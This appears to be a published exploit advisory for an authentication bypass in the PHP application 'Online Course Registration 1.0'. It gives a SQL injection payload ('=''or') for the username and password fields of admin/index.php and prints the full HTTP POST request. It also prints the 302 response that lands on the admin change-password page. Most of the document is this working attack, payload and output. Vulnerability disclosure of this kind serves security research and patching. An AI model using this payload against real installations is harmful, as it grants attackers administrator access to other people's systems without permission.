# Exploit Title: Online Course Registration 1.0 - Authentication Bypass # Google Dork: N/A # Date: 2020-06-05 # Exploit Author: BKpatron # Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip # Version: v1.0 # Tested on: Win 10 # CVE: N/A # my website: bkpatron.com # Vulnerability: Attacker can bypass login page and access to dashboard page # vulnerable file : admin/index.php # Parameter & Payload: '=''or' # Proof of Concept: http://localhost/Online%20Course%20Registration/admin/index.php POST /Online%20Course%20Registration/admin/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 61 Referer: http://localhost/Online%20Course%20Registration/admin/index.php Cookie: PHPSESSID=il6a0lzq8ndo1bb4672rd7cr3m Connection: keep-alive Upgrade-Insecure-Requests: 1 username=%27%3D%27%27or%27&password=%27%3D%27%27or%27&submit=: undefined HTTP/1.1 302 Found Date: Thu, 04 Jun 2020 20:04:27 GMT Server: Apache/2.4.39 (Win64) PHP/7.3.5 X-Powered-By: PHP/7.3.5 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache location: http://localhost/Online Course Registration/admin/change-password.php